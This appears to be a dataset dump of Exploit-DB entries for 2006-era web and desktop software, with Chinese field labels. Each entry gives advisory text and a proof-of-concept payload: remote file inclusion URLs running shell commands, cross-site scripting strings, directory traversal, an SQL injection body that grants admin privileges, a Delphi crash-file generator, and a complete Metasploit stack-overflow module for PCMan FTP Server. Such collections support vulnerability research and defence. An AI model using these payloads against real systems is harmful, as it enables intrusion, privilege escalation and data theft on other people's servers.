QLWD/code_shield huggingface dataset:
标题: Mafia Moblog 6 - 'Big.php' Remote File Inclusion EDB-ID: 28370 CVE: 2006-4156 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/19458/info

Mafia Moblog is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Version 6 is vulnerable to this issue; other versions may also be affected.

Update: After further analysis, this BID is being retired. The 'pathtotemplate' variable is defined in the 'template.php' file prior to its use in the affected script.

http://www.example.com/[Mafia Moblog]/big.php?pathtotemplate=[Evil Script] URL: https://www.exploit-db.com/exploits/28370
标题: Panda ActiveScan 5.53 - 'Ascan_6.asp' ActiveX Control Cross-Site Scripting EDB-ID: 28373 CVE: 2006-4295 类型: REMOTE 平台: WINDOWS 发布日期: 2006-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/19471/info

Panda ActiveScan is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Panda ActiveScan version 5.53.00 is affected by this issue; other versions may also be affected.

This BID is being retired because the application is a service and cannot be downloaded.

http://www.example.com/activescan/activescan/ascan_6.asp?IdLang=2&Idvendor=17490&Idpais=63&email=Lostmon@gmail.com%22%3E%3Cscript%3Ealert%28%27XSS%20Vulnerability%27%29%3C/script%3E%26&pais=62&provincia=9&tipousuario=0&enviar=1&ode=0# URL: https://www.exploit-db.com/exploits/28373
标题: Apache 2.2.2 - CGI Script Source Code Information Disclosure EDB-ID: 28365 CVE: 2006-4110 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/19447/info

Apache is prone to an information-disclosure vulnerability because it fails to properly handle exceptional conditions.

An attacker can exploit this issue to retrieve script source code. Information obtained may aid in further attacks.

Versions 2.2.2 for Microsoft Windows is vulnerable to this issue; other versions may also be affected.

http://www.example.com/CGI-BIN/foo URL: https://www.exploit-db.com/exploits/28365
标题: XennoBB 1.0.5/1.0.6/2.1/2.2 - 'profile.php' Directory Traversal EDB-ID: 28364 CVE: 2006-4161 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/19446/info

XennoBB is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

XennoBB 2.1.0 and earlier are vulnerable to this issue; other versions may also be affected.

http://www.example.com/profile.php?action=avatar_gallery&id={your registered user ID here}/category=../../general/ URL: https://www.exploit-db.com/exploits/28364
标题: IrfanView 3.98 - '.ANI' Image File Denial of Service EDB-ID: 28369 CVE: 2006-4374 类型: DOS 平台: WINDOWS 发布日期: 2006-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/19452/info

IrfanView is prone to a denial-of-service vulnerability. 

A remote attacker may crash the application, resulting in denial-of-service conditions to legitimate users. 

This issue may potentially be exploited to execute arbitrary machine code, but this has not been
confirmed.

Version 3.98.0 is vulnerable to this issue; other versions may also be affected.

program ani;
 {$APPTYPE CONSOLE}
 const
   FileName='file.ani';
   Len=113;
   Buf=#$52#$49#$46#$46#$00#$00#$00#$00#$41#$43#$4F#$4E#$00#$00#$00#$00#$24#$00+
   #$00#$00#$24#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00+
   #$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00+
   #$4C#$49#$53#$54#$00#$00#$00#$00#$66#$72#$61#$6D#$69#$63#$6F#$6E#$00#$00#$00+
   #$00#$00#$00#$00#$00#$01#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$02#$00+
   #$16#$00#$00#$00#$28#$00#$00#$00#$FF#$FF#$FF#$00#$02#$00#$00#$00#$00#$00#$01;
 var
   F:File;
   I:Byte;
 begin
   AssignFile(F,FileName);
   Rewrite(F,1);
   BlockWrite(F, Buf, Len);
   CloseFile(F);
 end. URL: https://www.exploit-db.com/exploits/28369
标题: Linux Kernel 2.6.17.7 - NFS and EXT3 Combination Remote Denial of Service EDB-ID: 28358 CVE: 2006-3468 类型: DOS 平台: LINUX 发布日期: 2006-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/19396/info

The Linux kernel is susceptible to a remote denial-of-service vulnerability because the EXT3 filesystem code fails to properly handle unexpected conditions.

Remote attackers may trigger this issue by sending crafted UDP datagrams to affected computers that are configured as NFS servers, causing filesystem errors. Depending on the mount-time options of affected filesystems, this may result in remounting filesystems as read-only or cause a kernel panic.

Linux kernel versions 2.6.14.4, 2.6.17.6, and 2.6.17.7 are vulnerable to this issue; other versions in the 2.6 series are also likely affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28358.tar.gz URL: https://www.exploit-db.com/exploits/28358
标题: VWar 1.5 - 'challenge.php?vwar_root' Remote File Inclusion EDB-ID: 28353 CVE: 2006-1747 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/19387/info
   
VWar is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
   
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
   
These issues affect version 1.5; other versions may also be vulnerable.

ttp://www.example.com/[vwar_path]/challenge.php?vwar_root=[Shell-code]?&cmd=ls URL: https://www.exploit-db.com/exploits/28353
标题: VWar 1.5 - 'member.php?vwar_root' Remote File Inclusion EDB-ID: 28351 CVE: 2006-1747 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/19387/info
 
VWar is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
 
These issues affect version 1.5; other versions may also be vulnerable.

http://www.example.com/[vwar_path]/member.php?vwar_root=[Shell-code]?&cmd=ls URL: https://www.exploit-db.com/exploits/28351
标题: Clam Anti-Virus ClamAV 0.88.x - UPX Compressed PE File Heap Buffer Overflow EDB-ID: 28348 CVE: 2006-4018 类型: DOS 平台: LINUX 发布日期: 2006-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/19381/info

ClamAV is prone to a heap buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer. 

This issue occurs when the application attempts to handle compressed UPX files. 

Exploiting this issue could allow attacker-supplied machine code to execute in the context of the affected application. The issue would occur when the malformed file is scanned manually or automatically in deployments such as email gateways.

ClamAV versions 0.88.2 and 0.88.3 are vulnerable to this issue; prior versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28348.exe URL: https://www.exploit-db.com/exploits/28348
标题: VWar 1.5 - 'news.php?vwar_root' Remote File Inclusion EDB-ID: 28355 CVE: 2006-1747 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/19387/info
     
VWar is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
     
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
     
These issues affect version 1.5; other versions may also be vulnerable.

http://www.example.com/[vwar_path]news.php?vwar_root=[Shell-code]?&cmd=ls URL: https://www.exploit-db.com/exploits/28355
标题: Simple One File Guestbook 1.0 - Security Bypass EDB-ID: 28362 CVE: 2006-4122 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/19437/info

Simple one-file guestbook is prone to a security-bypass vulnerability. An attacker can bypass authentication measures by using a specific URL to delete all guestbook entries.

Version 1.0 of Simple one-file guestbook is vulnerable. Other versions may be affected as well.

#Simple One-File Guestbook Adminstrator Credential Bypass
#Proof of Concept URL

http://www.example.com/[path]/guestbook.php?id=4 URL: https://www.exploit-db.com/exploits/28362
标题: VWar 1.5 - 'war.php?vwar_root' Remote File Inclusion EDB-ID: 28350 CVE: 2006-1747 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/19387/info

VWar is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect version 1.5; other versions may also be vulnerable.

http://www.example.com/[vwar_path]/war.php?vwar_root=[Shell-code]?&cmd=ls URL: https://www.exploit-db.com/exploits/28350
标题: phpPrintAnalyzer 1.1 - 'index.php' Remote File Inclusion EDB-ID: 28359 CVE: 2006-4061 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/19397/info

phpPrintAnalyzer is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

Version 1.1 is vulnerable to this issue; other versions may also be affected.

http://www.target.com/[phpPrintAnalyzer]/index.php?rep_par_rapport_racine=http://www.example.com URL: https://www.exploit-db.com/exploits/28359
标题: VWar 1.5 - 'stats.php?vwar_root' Remote File Inclusion EDB-ID: 28356 CVE: 2006-1747 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/19387/info
      
VWar is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
      
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
      
These issues affect version 1.5; other versions may also be vulnerable.

http://www.example.com/[vwar_path]/stats.php?vwar_root=[Shell-code]?&cmd=ls URL: https://www.exploit-db.com/exploits/28356
标题: VWar 1.5 - 'joinus.php?vwar_root' Remote File Inclusion EDB-ID: 28354 CVE: 2006-1747 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/19387/info
    
VWar is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
    
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
    
These issues affect version 1.5; other versions may also be vulnerable.

http://www.example.com/[vwar_path]/joinus.php?vwar_root=[Shell-code]?&cmd=ls URL: https://www.exploit-db.com/exploits/28354
标题: VWar 1.5 - 'calendar.php?vwar_root' Remote File Inclusion EDB-ID: 28352 CVE: 2006-1747 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/19387/info
  
VWar is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
  
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
  
These issues affect version 1.5; other versions may also be vulnerable.

http://www.example.com/[vwar_path]/calendar.php?vwar_root=[Shell-code]?&cmd=ls URL: https://www.exploit-db.com/exploits/28352
标题: Microsoft Internet Explorer 6.0/7.0 - IFrame Refresh Denial of Service EDB-ID: 28343 CVE: 2006-7065 类型: DOS 平台: WINDOWS 发布日期: 2006-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/19364/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability when handling malicious HTML files. 

Successfully exploiting this issue allows attackers to consume excessive CPU resources in the affected browser and eventually cause Internet Explorer to crash, causing a denial-of-service.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28343.zip URL: https://www.exploit-db.com/exploits/28343
标题: DConnect Daemon - Listen Thread UDP Remote Buffer Overflow EDB-ID: 28344 CVE: 2006-4125 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/19369/info

DConnect Daemon is prone to a buffer-overflow vulnerability because the library fails to do proper boundary checks before copying user-supplied data into a finite-sized buffer.

This issue allows remote attackers to execute arbitrary code within the context of the application or cause the application to crash causing a denial of service. 

Version 0.7.0, CVS July 30th 2006 and prior versions are vulnerable to this issue.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28345.zip URL: https://www.exploit-db.com/exploits/28344
标题: XennoBB 2.1 - 'profile.php' Multiple SQL Injections EDB-ID: 28347 CVE: 2006-4025 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/19374/info

XennoBB is prone to multiple SQL injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful attack could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

These issues affect version 2.1.0; earlier versions may also be vulnerable.

Submitting the following as a POST request to profile.php is sufficient to exploit these issues and gain administrative privileges:

form_sent=1&form[sex]=a&bday_day=1&bday_month=2&bday_year=", group_id=1, birthday=" URL: https://www.exploit-db.com/exploits/28347
标题: DConnect Daemon DC Chat - Denial of Service EDB-ID: 28345 CVE: 2006-4126 类型: DOS 平台: MULTIPLE 发布日期: 2006-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/19370/info

DConnect Daemon is prone to a denial-of-service vulnerability. 

This issue occurs because the application fails to handle null-pointer exceptions properly. 

An attacker can exploit this issue to crash the server, causing a denial-of-service.

Version 0.7.0, CVS July 30th 2006 and prior versions are vulnerable to this issue.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28345.zip URL: https://www.exploit-db.com/exploits/28345
标题: vBulletin 3.0.14 - 'global.php' Encoded Cross-Site Scripting EDB-ID: 28342 CVE: 2006-4273 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/19358/info

vBulletin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 3.0.14 is vulnerable to these issues; prior versions may also be affected.

http://www.example.com/forum/mods/glo%62al.php?_tmp[csscolors]=a:1:{s:5:%22right%22;s:27:%22%22%3E%3Cscript%3Ealert(1)%3C/script%3E%22;} URL: https://www.exploit-db.com/exploits/28342
标题: VWar 1.x - 'war.php?page' Cross-Site Scripting EDB-ID: 28326 CVE: 2006-4009 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/19327/info

Vwar is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues. These issues occur because the application fails to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

Http://www.example.com/[Path]/war.php?page=[SQL] & [XSS] URL: https://www.exploit-db.com/exploits/28326
标题: Knusperleicht Guestbook 3.5 - 'GB_PATH' Remote File Inclusion EDB-ID: 28320 CVE: 2006-4007 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/19274/info

GuestBook is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

http://www.example.com/[scriptpath]/index.php?GB_PATH=evilcode.txt?&cmd=id URL: https://www.exploit-db.com/exploits/28320
标题: Knusperleicht Quickie - 'Quick_Path' Remote File Inclusion EDB-ID: 28318 CVE: 2006-3982 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/19271/info

Quickie is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

http://www.example.com/[path]/quickie.php?QUICK_PATH=evilcode.txt?&cmd=id URL: https://www.exploit-db.com/exploits/28318
标题: PCMan FTP Server 2.07 - 'STOR' Remote Stack Overflow (Metasploit) EDB-ID: 28328 CVE: 2013-4730 类型: REMOTE 平台: WINDOWS 发布日期: 2013-09-17 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Ftp
 
 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'PCMAN FTP Server STOR Command Stack Overflow',
   'Description'    => %q{
      This module exploits a buffer overflow vulnerability
      found in the STOR command of the PCMAN FTP v2.07 Server
      when the "/../" parameters are also sent to the server.
   },
   'Author'         => [
      'Christian (Polunchis) Ramirez', # Initial Discovery
      'Rick (nanotechz9l) Flores',  # Metasploit Module                             
     ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: $',
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/27703/' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'   => 1000,
     'BadChars'   => "\x00\xff\x0a\x0d\x20\x40",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP3', 
      { 
       'Ret' => 0x7C91FCD8, # jmp esp from kernel32.dll
       'Offset' => 2002
      } 
     ],
    ],
   'DisclosureDate' => 'Jul 17 2011',
   'DefaultTarget' => 0))
 end
 
 def check
 connect
 disconnect
 if (banner =~ /220 PCMan's FTP Server 2.0/)
  return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect_login
  print_status("Trying victim #{target.name}...")  
  sploit = "\x41" * 2002 + [target.ret].pack('V') + make_nops(4) + "\x83\xc4\x9c" + payload.encoded
  sploit << make_nops(4)
  sploit << payload.encoded
  send_cmd( ['STOR', '/../' + sploit], false )
  handler
  disconnect
 end
end URL: https://www.exploit-db.com/exploits/28328
标题: VWar 1.x - 'war.php' Multiple SQL Injections EDB-ID: 28327 CVE: 2006-4010 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/19327/info
 
Vwar is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues. These issues occur because the application fails to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/vwar/war.php?s=[SQL]
http://www.example.com/vwar/war.php?page=[SQL]or[xss]
http://www.example.com/vwar/war.php?showgame=[SQL]
http://www.example.com/vwar/war.php?sortby=[sql]
http://www.example.com/vwar/war.php?sortorder=[sql]
http://www.example.com/vwar/calendar.php?year=[xss] URL: https://www.exploit-db.com/exploits/28327
标题: Knusperleicht FAQ 1.0 Script - 'index.php' Remote File Inclusion EDB-ID: 28319 CVE: 2006-4008 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/19272/info

FAQ Script is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

This issue affects version 1.0; other versions may also be vulnerable.

http://www.example.com/[path]/index.php?faq_path=evilcode.txt?&cmd=id URL: https://www.exploit-db.com/exploits/28319